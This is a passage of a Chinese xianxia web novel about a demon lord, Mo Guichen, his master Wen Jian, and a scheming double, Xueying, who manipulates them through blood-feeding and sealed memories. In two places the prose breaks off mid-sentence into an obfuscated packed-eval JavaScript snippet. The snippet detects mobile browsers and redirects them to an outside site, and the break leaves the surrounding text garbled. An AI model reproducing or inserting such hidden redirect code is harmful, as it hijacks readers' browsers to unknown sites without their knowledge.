却又是一顿惊骇:“黑色?”他分明记得是黄土的,且如今再放眼望去,整座山头寸草不生,只有些突兀不已的桂树,越发枝繁叶茂。 桂树,又名招魂树。 而天一门,是被满门灭门的,死相惨不忍睹,哪怕得超度,也难洗清怨念。 若被有心人利用,后果不堪设想,华云舟连忙挥剑劈开土壤,剑芒深邃,劈出三米深坑。 坑下是白茫茫的一层石灰。 不! 不可能! 那日明明没挖到石灰! “是你?”华云舟愕然看去陌归尘,“又是你在捣鬼?” 陌归尘没理会无时无刻不朝他发癫的华云舟,闻到空气漂浮的石灰味道,他心中了然,果然有人在养煞。 寂夜,忽而响起道尖锐鸣叫,直刺进每个人的魂魄,刺得人头皮阵阵发麻。 天际,乌云散去,惨淡的月,白霜般散落,土下开始吱哑哑地响,是有数不清的东西在挠棺材,指甲挂过木板的声音,刮得人皮肤不寒而栗。 “什么……什么东西?” 在场人硬着头皮,惶恐挨在一起,“尸变了么?” 华云舟回头,对着众弟子大声喝道:“快结阵镇压!” 陌归尘瞥人:“没用的,已经出来了。” 华云舟:“?” 陌归尘懒洋洋指指:“在你身后呢。” 华云舟猛地回眸,一张煞白烂脸百倍放大在眼前,那凶煞的眼眶无眼珠子,汩汩流出死鱼般的腥臭味。 正是天一门掌门。 还被剥去皮层,周身血肉模糊,还附着层黏液。 “呕。” 凶煞狠戾,毫无保留便是对着华云舟下死手。 两人交手,不分你我。 众人合力结阵,煞气刹那破土,浩瀚怨念冲破层层禁锢,直逼天际,月色幽幽照落,整座山头都笼罩在一种阴森诡异之中。 “噗!” 十几名弟子反噬吐血,那边还在应敌的华云舟一时便失了神,天一门掌门趁机发起攻势,千钧一发之际,陌归尘甩出记鞭子,把华云舟救走,打出的符咒,也暂且镇住凶煞头目。 华云舟哪成想,险些丧命时,施以援手的,竟是陌归尘,他正酝酿措辞,腹稿还未出,便听师侄道:“想自寻短见就去跳崖,少在此碍手碍脚。” 华云舟语塞:“……” 他横眉冷道:“你杀死我的书儿,还重伤我的月儿,又害死我的愉儿,我此生与你不共戴天。” 陌归尘也非好脾气的主儿:“你好歹是一派掌门,怎么就糊涂至此,你我之间隔着一个闻笺,我怎么可能——” 闻笺…… 他轻念这名字。 所有的事情,首当其冲的固然是他,可细想之下,牵连的不都是闻笺么?难道过往种种,皆是冲着闻笺来的? 对面人却反驳:“你闻青栀本就大逆不道,性情乖张,还修炼邪术,堕落成魔,你居心叵测,少用这些说辞来蒙骗他人。” “再且,你逼得我们师兄弟反目,不正中你下怀?更是方便你以下犯上将人掳回魔界。” 这下,陌归尘真的是怒极反笑:“冥顽不灵。” 华云舟也不遑多让:“狼子野心!” 这片山头,陆陆续续破土而出好些被剥掉皮囊的凶煞,众人头疼不已应战。 一波未平,一波又起,山下又传来阵阵骚动。 陌归尘皱眉:“什么动静?” 华云舟:“不好!是干尸!” 他一转头,成群的干尸已经冲上山头,众人已有些疲于应战,愁得一筹莫展。 便眼睁睁目睹,凶煞与干尸融合为一体。 “合……合体了?” “师尊!这可如何是好?” “光是凶煞便——” 话未完,原地忽而腾起阵黑雾,“这……这又是何物?” 在场弟子哪见过今夜这般接二连三的场面,皆是被吓得怔愣,不少年幼胆小者更是小声抽泣,不会死在这吧? 爹啊娘啊! 孩儿还不想死啊! “师尊!掌门师尊!我还不想死呜呜呜!” 华云舟侧眼,只见个十三四岁的孩子蹲在地上哭泣,他恻隐之心微犯,将那孩子搂着怀里:“别怕。” 那瞬间,他竟不由自主把目光投向陌归尘。 陌归尘自然也感受到华云舟的视线,他无语“啧”了声,“看我干什么?我说了与我无——” 那人打断道:“你可有法子应对?” 陌归尘话音戛然而止,与他不对付十几年的师伯,竟破天换地向他服软? 这世界大抵是疯了。 他支吾了一下:“我……我试试吧。” 陌归尘神色凝重,刚抬掌画符,合体的凶煞与干尸,竟连同黑雾一起消失了。 就这么消失得无影无踪。 再三确认后,众人作鸟兽散。 * 陌归尘神色恹恹回到魔界,直奔护法殿,如今摆在眼前最可疑之人,就是二竹弋。 陌归尘到来时,二竹弋正在削柿子,见人到来,他端上切好的果块:“殿下大驾光临,我受宠若惊呀,这新切的柿子还挺清甜脆口,殿下可要一尝?” 陌归尘直接开门见山:“上任魔尊死灰复燃?” “你是他的狗?” 二竹弋放下果盘:“殿下惯爱说笑,我当初极力拥护你上位,自然是您最忠诚的狗。” “你觉得本尊会信?” 二竹弋双指夹住距离咽喉半公分的剑尖,淡淡笑道:“我说,殿下何时能改改一言不合就动手的坏习惯?” “我们好歹相伴十年,夙兴夜寐,劳心费神为殿下分忧,竟换不来殿下另眼相看?” “我真的很伤心。” “难道只有我死,方能换殿下一点信任?” 陌归尘收了剑:“少在这使苦肉计。” “殿下扪心自问,我做过什么背叛你的事?” 陌归尘哑然。 确实没有,华云舟诬陷他,还能拿出所谓“证据”,而自己就纯属是“口说无凭”,倒是比那老家伙还不光明磊落。 陌归尘斜觑瞟人:“那你最好夹紧你的尾巴做人,仔细阴沟里翻船。” 这些年浑浑噩噩度日,他其实蛮消极的,对生也不抱多大希望,不自寻短见是曾有人拿命相救,后来便是伏魔大战,没负隅顽抗,倘若能死在师尊手下,大抵也算是他这一生最好的结局罢。 然而,师尊却没取他性命。 加之各种事情接踵而来,纷纷扰扰的,甚至隐约牵连出当年真相,浮现出点不为人知的苗头,让他不得不着紧几分。 如今细细回想,陌归尘难免生疑,有那么瞬间,他觉得冥冥之中,有无形的手,在推动他往既定的轨迹走去。 他脚下站的是别人铺好的路,更为毛骨悚然的是—— 乃至他所看到的世界,都是别人想让他看到的。 真若如此…… 那背后之人到底是谁? 而这一切的背后,和当年之事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375728|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底有没有关联? 如果有,那又是为什么? * 夜,万籁俱寂。 陌归尘随意挑了处建筑,仰躺屋顶,思来想去半天,毫无头绪轻叹声。 他飞落地面,拾掇回往日的散漫不羁模样,往书房走去。 书案还堆着凌乱的古籍。 大多数是医术,偶有些奇闻杂谈,他匆匆收拾,不慎掉下本,捡起,指腹刚好压到两个字。 邪神。 怎么又是邪神? 真是阴魂不散,好奇心作祟,陌归尘指腹慢慢往下移,继续摸出些字来。 【邪神无心,得以无坚不摧,不老不死,不伤不灭】 陌归尘轻笑,恍惚间,他想到曾经的一些画面。 是幼年,他觉醒本体,闻笺哄他说每个人都会有小秘密。 那时的师尊,还与他交换了一个秘密,那人抓住他毛茸茸的爪子往自己心口摁,说:“这是师父的秘密。” 年幼的他,清楚感知到闻笺的小秘密是没有心跳。 闻笺也没有心。 这人固然强大,但他倒没荒唐至此,将闻笺当成邪神,毕竟神又怎会屈居一个修仙门派。 微敛神思,他又继续。 【邪神之心乃邪神命门,唯一可弑神之法是……】 是什么? 指腹往下摸索大半页。 都没摸出半个字。 陌归尘无语合上古籍,倒也没再纠结,只把这些书籍整整齐齐收好。 整理完书籍,他来到竹屋,闻笺已经歇下,安安静静躺在榻内,陌归尘走过去,手指摸上师尊手腕,探了探脉搏。 依稀能诊出这人的灵气正缓缓恢复,陌归尘心下也稍安然,疲惫感愈渐袭来,便就这么趴在榻边睡着了。 月光倾洒而进,霜华柔和覆落红影,竹屋帘子被掀起,雪影迤迤然走进来,刺破指腹晃晃。 “小徒弟该进食了。” 闻笺端坐在榻边,反手掀开衾被,露出软蒲团上的小猫。 雪影落座到另一边,反手将血珠抹到闻笺手背。 熟睡中的小猫闻到甜腥味,伸出舌头舔了舔,猫舌有倒刺,舔起来,有点酥酥麻麻的刺痒感。 闻笺蹙眉,抬手变出把戒尺,就往雪影手心打了一下,那手顿时浮起道红痕。 雪影:“嘶。” 雪影吃痛,却反笑调侃:“你怎么这么变态?哪有人打自己的?”说着便要把徒弟揽进自己怀,却又生生挨了一戒尺,被迫抽回手,不满瞟人:“啧,你不让我抱,自己也不愿意抱,到底要如何?” “认真喂。” “我怎么不认真?倒是你变态得很。”雪影听着闻笺的话,意味不明瞟人,自顾自说话,“啊?你确实变态,把徒弟的废骨藏得严严实实的,可不就是变态么?” “我可怜的小家伙……” 雪影食指一点,半空霎时变出道水镜。 镜中是师徒重逢那日,陌归尘于秘境中破幻境的场景。 青年一掌轰碎眼前幻境,丝毫未有反噬,画面被人刻意往他身后一拉。 正有道白影站在青年身后。 “咱们可怜的小徒弟,怎么就不想想强行破幻境为何不会遭到反噬呢?因为他看到的,是师父的回忆。” “啧啧啧……闻笺啊闻笺。” 雪影继续操控水镜,画面一转,幻境又在继续,是以白衣仙人的视角构建的,他眼底下的白骨,显然是个活泼可爱的小孩,小孩嘟嘟囔囔喊“闻笺”。 脖子上还挂着串铃铛。 满山头乱跑。 画面继续变幻。 白衣仙人打开空空如也的厢房,从死去的徒弟房中翻出一尊小灵藕,那是年幼的徒弟,磕磕绊绊炼制出来的灵藕。 小灵藕早已没灵气,俨然是副死藕,如同他那身死魂灭的徒弟。 白衣仙人给小灵藕渡灵气。 第一次时。 小灵藕睁开眼睛,实力强悍,哪怕小小一只,放到外面,也能横扫一宗门派。 白衣仙人沉默。 第二次时。 小灵藕睁开眼睛,聪明机灵,惯会察言观色,规规矩矩朝他行礼叩首。 白衣仙人沉默。 第三次、第四次……日升月落,无数个夜深人静后。 小灵藕再度睁眼,歪着脖子打量眼前人半晌,眉欢眼笑,跌跌撞撞跑过去:“师尊。” 白衣仙人微怔,稳稳接住小灵藕,此后十年,无数个日夜,小灵藕都会因灵气枯竭而死去,又因得渡灵而复活。 周而复始,生生不息。 水镜之外,雪影望着闻笺带走小灵藕,将其打扮得华贵漂亮,又教其读书写字,偶尔还给人念话本解闷,更是时常纵着小灵藕满山头乱跑。 他在看它,又似不是看它。 画面一晃。 满山头乱跑的小灵藕身后不知何时多出个小孩,二者你追我赶,嬉笑打闹。 “师尊。” “师尊。” …… 两道声音来回变幻,又愈渐湮没在铃铛声里。 深冬季节,落霞峰的积雪堆出厚厚一层,一人一藕鼻尖冻得通红,却笑着弯身捡雪,搓成球互相扔雪球。 闻笺挽起件小披风。 走过去。 雪白的球团,倏地朝他这边飞来,他淡笑侧头,惯性轻躲。 再回眸时。 整座峰头空空如也。 茫茫天地,唯余一片白,落得个皑皑干净。 …… 水镜画面就此中断。 雪影挑眉瞥人。 “闻笺,你还挺疯的。” 闻笺没理会雪影的嘲讽挑衅,他用灵线穿破躯体的手腕,灵线一头虚虚搭在陌归尘嘴角,血水顺着灵线慢慢流淌,滴进徒弟口中。 “啧啧啧,君子端方呀。” “可你越躲躲闪闪,越说明你心里有鬼,为什么就不敢承认呢?真是天塌下来,都有你闻笺的嘴顶着。” 见人不理他。 雪影耸肩,转而盛情邀请道:“要不要摸摸小猫耳尖?他耳朵很敏感。” 闻笺冷眼瞥过去。 雪影无所谓道:“自己养大的,摸摸怎么了?” “不骗你,真的敏感。” 雪影说罢,取下一小圈细细的黑色藤蔓,卡上小猫耳朵,倏地,细圈被猫耳弹走,雪影含糊低笑:“是不是很敏感?” 而后意味不明看闻笺:“你想的是哪种敏感?” “噢?” 雪影指尖轻压唇部,摆出副恍然大悟的暧昧神情。 “其实你想的那种,也不是不行,两师徒客气什么?你真的很会取名,咱们的小徒弟确像株青涩的花。” “青栀,青涩的栀子花。” “俗话说,肥水不流外人田,况且我们小尺玉金尊玉贵,外头那些杂碎没一个配得上他,还是得师父亲自来方行。” 雪影指尖一勾,陌归尘似被控制一般,突然动了动,嘴上说着梦话,手心恰好摁在闻笺心口处。 闻笺低头。 徒弟掌心抚上他胸膛,以梦语的形式,道出曾说过的话:“闻笺哥哥,你这里好烫啊。” 闻笺灵丝勒住徒弟中指,瞬间把罪魁祸首,那根可操控傀儡的黑线,从徒弟身子扯出,反手便是一掌。 雪影轻笑,轻松接住闻笺的攻击,他低头看着夹在他们中间的陌归尘,别有深意低笑:“搞那么大动静,吵醒了小徒弟可如何是好?他一看,有两个师尊,疯了怎么办?我可不负责哦。” “不过……”雪影指尖轻点唇角,若有所思道,“两个师尊,岂非有双倍快乐?这个我倒可以负一下责。” 闻笺终是忍无可忍。 将雪影轰出房门。 雪影稳住身影,看了眼落在他身的禁制,挽唇,冷笑。 但见新人笑,那闻旧人哭,今晚怕是不能得魔尊殿下临幸,甚是寂寞。 啧。 长夜漫漫,无心睡眠,寻什么乐子解闷好呢…… * 房中,闻笺起身,他刚把陌归尘抱回寝殿。 那人忽地爬起来,下了床,径直越过他,自顾自走出房门。 这状态很像夜游,闻笺没强行叫醒人,默默跟上去,一路跟着人出了魔宫,来到主城那座城楼下,踩上台阶,上了楼顶。 他看着徒弟停在楼顶,抱腿坐下,安静挨着墙,红色的一团,孤零零缩在楼顶角落。 凛冬季节。 夜里开始下雪,霜雪纷飞,靠在彻骨寒冷的墙的青年,越发情不自禁蜷缩。 闻笺目眺远方河山,这座城楼确实高,站在楼顶,放眼远方,能俯瞰万家灯火。 细雪霏霏,霜风拂来,空寂回荡整座城,铜钟鸣响时,还能听到遥远岁月里的对话。 年幼的孩子笑得明媚烂漫,目光灼灼望他,认真又执拗—— “倘若我们日后走散,我就往高处爬,等着师尊来接我回家。” 雪还在下。 闻笺撑起伞,来到陌归尘脚边,拂掉青年发间碎雪,搂过徒弟肩膀,让人往自己腿侧挨靠。 就这么静静站了一宿。 42.他掐住闻笺下颌, 42. 鬼城,破旧老寺庙。 山头荒凉,阴风不时刮来,吹得老木门吱哑响。 庙内,洁净如新的雕花木椅上,雪影举起双指,夹住片枯败落叶。 他挽出道淡笑,又摇摇头,呼出口气吹掉落叶齑粉:“种种线索摆在眼前,我们小尺玉宁可相信古籍是杜撰,都不怀疑一下自己的师父。” “我甚至帮他把记忆封印解开,他竟还以为那个吻是梦。” “可怜的小家伙。” “真是师父最忠诚的小信徒。” “怕是日后被吃干抹净,都还以为是自己大逆不道做梦意.淫师父呢。” “我都于心不忍了。” 于心不忍? 二竹弋嘴角微抽,艰难扯出抹笑来,眼前人说这话是真不亏心啊,外界盛传无极魔尊心狠手辣,他们又岂会清楚,真正嗜杀成性草菅人命的,另有其人。 讽刺至极。 谁又承想光明磊落的玄胤仙尊的分.身,才是那个杀人不眨眼的恶魔。 不过,倒也合情合理,所谓邪神,本就该亦正亦邪。 果然,下一刻,他便听到这人倦倦指向角落的青年,毫无缘由吩咐:“那就,把他杀了。” 二竹弋侧眸,角落昏迷至今的人,是个极为俊美的青年,亦是他们魔界右护法。 他犯难提醒道:“主上,这是殿下的朋友。” “朋友?”雪影置否嗤笑,“狗和猫怎会是朋友?” 他不甚认同,摇头:“哪怕真成朋友,也总会生芥蒂的不是么?” “世间唯有师父的爱,永恒不变,也只有师父,才是那个永无嫌隙爱他之人。” “我们玉玉有师父就够了。” “殿下会难过。” “怎么,你心疼了?”雪影搭在扶手的食指轻敲,时缓时急的嘟嘟声听得人头皮发麻,心跳都随之七上八下。 二竹弋垂首:“属下不敢。” “不敢?” “呵。”雪影居高临下睨视,靴尖挑起二竹弋下颔,“先前不还用你的名字,向他透露信息?” “你以为吾不知你倒戈?” “吾养的狗,也敢把主意打到吾的人身上?” “你倒勇气可嘉。” 二竹弋屏气,多年主仆,他知这人已在生气边缘,却仍不死心斟酌说辞,苦涩劝道:“属下只是觉得,殿下日后若知晓始作俑者是您,会恨您。” 雪影眼眸轻眯,挑眉,睨出股戏谑:“恨?光是爱太无趣,爱恨交织多好玩。” “肉,还是带血的好吃。” 烛光幽幽,映出雪影眼底那近乎扭曲与病态的癫狂。 他自言自语道:“所有的苦难,均来自最爱的人,啧啧啧,真是个可怜的小家伙,但他不知道啊,他只知道自己只剩下师父了,那不得紧紧抓住师父呀,你说对不对?” “殿下迟早会知晓一切。” 雪影感慨微笑:“你所言不虚,我们玉玉,聪明,悟性也高,学什么都比旁人神速,他呀,就是输在太爱。” 这话,二竹弋没反驳,确实如此,若非太爱,又怎会一遍遍被误导,任人一次次搅乱他心神,叫他浑浑噩噩,精神失常,宁可相信是幻觉、是心魔,也不怀疑那个与闻笺一模一样的人,与之有着密不可分的关联。 只是…… 他跪在这位素来运筹帷幄的男子跟前,大逆不道地问了一句:“殿下输在太爱,那您呢?您又赢在哪里?” “自然是赢在天生坏种。” “或许,根本没有所谓输赢。” “你看得倒透彻。” “因为属下是旁观者,旁观者清。”也不对,旁观者早已入局,成为局中人。 这盘棋里,没有人是赢家。 雪影收了靴子,往靴面打下道清洁符咒,悠悠启唇:“你现在才来心软有意义么?” “不过被你这么一提点,吾改变主意了。” 雪影弯身,指尖凝出丝黑雾,戳进昏迷青年的脑门。 “吾暂且留你狗命。” * 天光刺破云层。 陌归尘从城楼醒来,探了探四周,只有他一人的气息,轻叹口气,怕又是梦游。 他惯性抬手挡挡眼皮,起身,哪怕现在双眼瞧不见,仍是熟稔不已,扶着墙走下阶梯,循着记忆回去。 路过护法殿,他停顿一下,迈出半步,又情不自禁往回退,侧头,面向护法殿大门,还是走了进去。 “尊主!” 洒扫的婢女侍从跪了一地,其中几人禁不住偷看尊主容颜,便见魔尊大人脚步未有迟疑,摆摆手,行色匆匆,直奔主殿。 新来的小婢女往旁边凑,压着气音问:“尊主又去主殿做什么?那里都没人。” 小侍从挠头:“不知,我统共就见过尊主三次,三次都是尊主去主殿时碰着的。” 另一名婢女也八卦道:“尊主还让人给主殿点灯,可那都没人,却每天点得满屋子都是灯,好奇怪哦。” 众人七嘴八舌嚼舌根。 …… 这些话,自然落在陌归尘耳中,他没计较,只是推开主殿的朱漆大门。 殿中院落,穿过院中石子路,每踩下一步,回应他的,不再是熟悉的调笑声。 而是只有他自己的脚步声,和风吹来时,檐上一排排灯笼撞击木板的声响。 整座宫殿,空荡荡。 陌归尘站了许久,最后蹲到角落,猫本来就嗜睡,不消片刻又睡过去。 空荡荡的殿中,落出道光。 光芒消退,雪影现身,他推开一扇窗户,日光正好投进这片角落,青年蜷缩的身子也在暖阳中懒洋洋舒展了一下。 这光,也照得青年挂在眼角那滴泪珠,分外晶莹剔透。 惹人怜惜。 雪影走过来,蹲在陌归尘跟前,捏捏徒弟微红的鼻尖,恨铁不成钢低叹:“又哭,又哭,一天天的怎么就哭得这么可怜呢。” 预料中,底下人惯性咬来。 雪影吃痛,也没抽手,任由徒弟张嘴咬住他手指。 指腹很快渗出血,许是感受甜腥味,小徒弟那凶狠的齿咬转为贪婪的吮吸。 柔软的唇瓣含着他指节,指骨深陷片暖而软的口腔,那人阖眼,垂着微湿的眼睫,淡弱的泪迹,在日光下泛起层流彩,衬得其更加精致秾丽。 便生生给他吮出股惬意来。 惯会蛊惑师父。 真是让他捡到宝了。 雪影眉头舒展,点点徒弟鼻头,身心愉悦,又认命放任道:“为师迟早让你吸干。” 似想到些往事,又情不自禁叹息,倾身,伏低头,吻掉徒弟眼角的泪珠。 他机关算尽,独独没料到小徒弟会心如死灰至此,竟自废剑骨…… 天生剑骨,那可是旁人八百辈子都求不来的福气,说废便废。 真是个小败家。 “唔?” 底下人不满咕哝声。 雪影低头,手指没血了。 他双手穿过徒弟腋下,把人揽起,抱着跨坐到他腿,划破颈脖,托着徒弟的脑袋埋到自己颈窝:“吸吧,小祖宗。” 闻到血味,徒弟尖利的犬齿,再次刺破他肌肤,鲜血滚滚流出,又被不知餍足的人大口大口吞咽。 “嘶。” 雪影吃痛蹙眉,抬掌,往青年腰下拍了一下,“轻点,想咬死师父吗?” 那部位轻轻挨了一巴掌,不痛,但与生俱来的刺激,还是令本体为猫的人轻易失控。 浑身颤抖着打出个激灵。 也霎时弹出条尾巴。 纯白松软的尾巴悠悠乱甩。 雪影握住猫尾,又被勾起些往事,无奈低斥:“幽冥鬼涧也敢跳。” 他当初正在寻蔷薇引的种子,不得已暂时离开,就离开那么一小会儿,这小傻瓜居然跳进了幽冥鬼涧,幸好回来的及时,不然后果不堪设想…… 反手,又是轻轻的一掌:“若不是为师赶回来,十条命也不够你挥霍!” 他捏捏徒弟的小虎牙:“真是两斤的猫,两斤的胆子!” 被钳住小虎牙,青年不满推人,抬脚,踹过去。 雪影眉心一跳,单手攥住徒弟脚腕:“你这小没良心的,刚喝完血就踹人。” 他哪能轻易放人走,顺势将徒弟脚腕往后一搭,另一只掌压去徒弟腰窝,一把将人禁锢回怀里,按得人动弹不得。 雪影动作强硬不容拒绝,语气却柔和得发甜发腻,诱.哄着:“玉玉乖,不逗你了,咱们再喝点。” * 不知多久后。 “砰。” 外间传来阵声响,梦中的青年,也霎时睁眸。 他抬手抚抚额角。 怎么又睡着了? 思索间还是循声走出去,刚跨出门槛,脚尖便踢到点物件,他蹲下摸索,摸到点纸皮套在竹篾骨架上。 是灯笼掉了。 把灯笼挂好,陌归尘也走出护法殿主殿,路过侧殿园子时,随手摘了根猫草,衔进口中。 魔宫禁地,竹屋。 晌午的日光正暖,陌归尘半个身子倚着门,唇角还叼住根在左护法门口摘的猫草,半天没说话。 他感知到闻笺正端坐榻边,欲言又止半晌,终于,那人忍不住动了动手腕。 玉链撞击声,清脆悦耳,伴随玉石声而起,还有自家师尊那惯是淡漠的话音:“你打算囚为师到何时?” 陌归尘抱手,双指夹住猫草,漫不经心取下:“又没真锁,师尊若是觉得闷,这偌大的魔宫,随你走动。” 他慢慢靠近闻笺,弯下身,贴近那人耳垂,含笑把猫草卡进自家师尊耳上:“师尊身上都是我的味道,没人敢拦你。” “你、”感知到那人举起手,陌归尘旋即抓住闻笺腕骨,“我怎么了?我有说错么?” 闻笺到底没与他说什么重话,只煞有其事郑重道:“在极寒之地有一味药材,为师去取回来,替你治眼睛,好不好?” 这哄小孩的语气,魔尊大人听得忍不住掀了个白眼,撩起撮头发,往对面人下颔扫了扫。 一语中的问:“像上次取神草那样?把自己搞得半死不活,结果呢?有用吗?” “总归得试试。” “试试?”陌归尘轻笑,指尖抵住闻笺胸膛,愈渐往下移“好呀,那师尊先试试让我亲一下?” “胡闹。” 对方有心阻止,奈何他的指节已经勾到自家师尊腰间,拇指也摸到点温温凉凉的物件。 带钩。 是那枚他送闻笺的带钩。 陌归尘唇角轻扬,心下没来由一阵愉悦,密密麻麻的,灌满糖霜般甜蜜。 他语意不明调侃:“带钩都别上了,是等着我亲自取下么?实话说,弟子似乎没伺候过师尊更衣。” “你、别闹。” “哪里闹了?” 陌归尘指尖摸索而上,全然没有以下犯上的觉悟,轻探闻笺脖子,意味深长:“当弟子的,伺候师尊宽衣解带有何不妥?还是师尊想去哪层了?” 他别有深意轻笑,懒洋洋往人胸膛挨过去:“闻笺哥哥,你脖子又在发烫了。” “尊主!” 门外传来急切的敲门声:“尊主!尊主!” 调情被打断,陌归尘皱眉,不悦“啧”了声,不耐烦朝门外道:“何事?” 门外侍从高声回禀:“几位长老急着求见,已经在殿外静候多时。” 服了! 一群食古不化的老东西,最好有事,不然掀了你们老巢! 他匆匆下床,正欲与自家师尊交代一句,这回头方感知到闻笺已经下榻,与他相隔三米外。 陌归尘:“……” 为什么是三米呢? 因为这根玉链只有三米长。 魔尊大人挫败不已,甚至开始怀疑自己是不是长得太丑,吓到自家师尊了。 不是说徒追师,隔层纱么? 什么破话本儿,本尊待会就去踹了你们摊子!! * 议事殿。 十几位长老齐聚一起,当初陌归尘以一人之力,横扫魔界八大家族,他们当中有部分人见过陌归尘真身。 是只九尾猫。 非人族。 妖魔鬼怪本为一家,他们一方面恐惧陌归尘实力,另一方面也不排斥非人族的种类,又有左护法二竹弋极力拥护,自然接受陌归尘顺利入主魔宫。 可如今却…… 大长老率先开口:“尊主,我等听说您拐回个人族修士,金屋藏娇许久。” 其余长老附和:“还弄了个什么椒房之宠?您若只是一时兴起,我等倒是没理儿劝谏,但您若执意要立那人族为后,恕老夫不能接受!” “是呀!我魔族太子岂可血脉不纯?传出去怕是贻笑大方!” “尊主三思而后行!” 陌归尘:“……” 这帮迂腐的老头子真是闲得慌!还魔族太子,谁生啊? 就闻笺那贞洁烈夫! 生不了一点! 陌归尘难得放缓语气:“生不了。” 众长老:“啊?” 众长老:“尊主您……您?不嗯?可要请魔医?” 陌归尘冷声:“滚。” 他拂袖离开,却没回竹屋,这群老东西倒是提醒得及时,所以两个男子到底要如何……嗯嗯? 在有限的知识储备里。 陌归尘须臾想起那个强取豪夺的古代宫廷话本。 * 落霞峰。 陌归尘再次踏足,整座峰都弥漫着栀子花香,恍若隔世,叫人怔愣半晌。 淡淡清香扑鼻而来,比闻笺身上的气息要甜一些,只可惜,总有些遗憾,双眼失明,看不到满山头盛放的场景。 “你回来啦?师尊不见了。”裙摆被人扯扯,底下的声音又在继续,“我好饿啊。” “你饿不会自己找吃?” “不是那种饿。” 陌归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377474|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘没细问,随手给小灵藕塞了把灵气馥郁的糖,提脚行去书房方向。 他推开书房的门,吱哑一声,身后也传来小灵藕的声音:“咦,东西掉了。” 陌归尘:“什么掉了?” 小灵藕:“书法。” 陌归尘听着这话,循着记忆走过去,果然捡起副那副书法。 【天地君亲师】 他举起书法,往熟悉的位置挂去,半天也挂不上去。 啧。 魔尊大人郁闷咬咬唇,方想起,闻笺那个家伙比自己高来着,没辙,只能摸来张椅子,踩上椅面,手掌摸索着墙面挂书法。 掌心不知摁压到什么东西。 微微凸起的一小块,倏地凹进去,陌归尘皱眉,后背书架那边霎时传来沉闷的移动声音。 “哇!书架会动!”小灵藕惊叹,“有暗道欸!” 暗道? 陌归尘把书法往墙面一挂,旋即跳下来,摸索着走下暗道。 小灵藕也蹦蹦跳跳跟上。 一人一藕,几经摸索,七拐八弯穿过甬道,绕来走去,视野豁然开朗。 空荡荡的暗室,一张千年寒玉棺,泛出微弱流光,小灵藕怀揣好奇,跌跌撞撞跑过去。 奈何身子挨,只能跳起来,半趴半挂在未合个棺边。 它歪着脑袋,目不转睛打量棺中那副白骨,这白骨近乎完美,光是看骨相便知此人生前该如何明艳四方。 “好漂亮哦。” 白骨身着一袭殷红华服。 双手搭于腹部。 掌中还握着个碎裂,却又被人完整拼凑回来的命牌。 “闻青栀?” 小灵藕看着命牌上的名字,“谁是闻青栀呀?” 另一边,陌归尘正在抚摸一件绣金丝缀玉鎏金錾花扣大红喜服,这件挂着的喜服,他记得,是闻笺亲手做的,父母之命,媒妁之言,师长们早已打过招呼,只需走走过场,当众赐婚即可。 喜服便是他及冠那年,闻笺亲手绣的,奈何师尊的喜服没绣完,他已当场拒婚! 陌归尘晃神:“什么闻青栀?” 小灵藕嘟囔:“这呀,这里躺着个闻青栀呢。” 陌归尘闻声走过去,小灵藕又跑走,他倒没理会小灵藕,只顺着玉棺,摸下去。 指尖触碰的刹那。 他骇人缩手。 那是! 是他当年在地牢自废的剑骨。 在数不清谩骂猜疑诬蔑声里,左一句“灾星”,右一句“白眼狼”,前一句“十恶不赦”,后一句“死有余辜”,无人知晓亦无人在意他为何自废剑骨,只有他自己懂。 无非是想剔骨还师父。 还给你,全都还给你。 …… “咦?这又是何物?”小灵藕仰望半空漂浮着的那团光,接连跳起来几次,都够不到这团光。 它回头招手:“你快过来看!这光团,好漂亮!” 陌归尘走到小灵藕身边,抬手,轻而易举抓住光团。 顷刻间,他便感知到光团里保存着些记忆片段。 想要消除记忆有多种法子。 诸如:封印,封印记忆,记忆仍留在脑内,可解除封印,此种法子最为轻松不伤根源。 而最痛苦的一种便是生剥记忆,修士生剥记忆,犹如凡人凌迟,皆因那记忆不是一下子就能生生片下来,需得一刀又一刀切割,用的还是钝刀。 神元将受到极大重创。 剥离的过程,无疑是变相惩罚。 闻笺这人对外清冷,可他也未曾见过师尊折磨人。 这记忆会是谁的? 陌归尘心生好奇,握住光团,贴到自己的脑门,空下的手,飞速掐出几个诀。 很快便有些画面传进脑海。 记忆一段接着一段。 良久后,暗室内的青年睁眼,呵,他冷笑了一声,无力垂下手臂,静默片刻,又重新抬起掌。 一把摔了光团。 砰一声巨响! 立在原地的小灵藕被吓了个激灵,它怯怯缩缩脖子,耷起半边眼皮,偷偷瞄陌归尘。 但见,四分五裂的光团碎片,撞到墙角,又弹回几片,其中一片,正正好划过青年的脸颊,划破颌侧。 那条细血痕,慢慢汇聚成颗血珠,欲滴未滴,可怕,又有种诡异的迤逦。 危险,却迷人。 小灵藕大气不敢喘,还是咬着手指,含糊提醒:“你……你,好像流血了。” 陌归尘拂袖,原地消失,直奔魔宫,他翻开那个被自己落有禁制的木箱。 伸手摸进去,空无一物。 那尊谣传是“邪神分身”的灵藕不见了。 * 另一边,竹屋。 雪影抱手坐在闻笺对面。 他手指拎起龙凤绣金丝软被:“啧啧啧,闻笺啊闻笺,你在小徒弟这里的待遇多好啊,要知道,我现在已被打入冷宫,睡棺材板呢。” “棺材里又黑又闷,夜里还要爬出来,劳心劳力给我们尊贵的魔尊殿下喂血。” 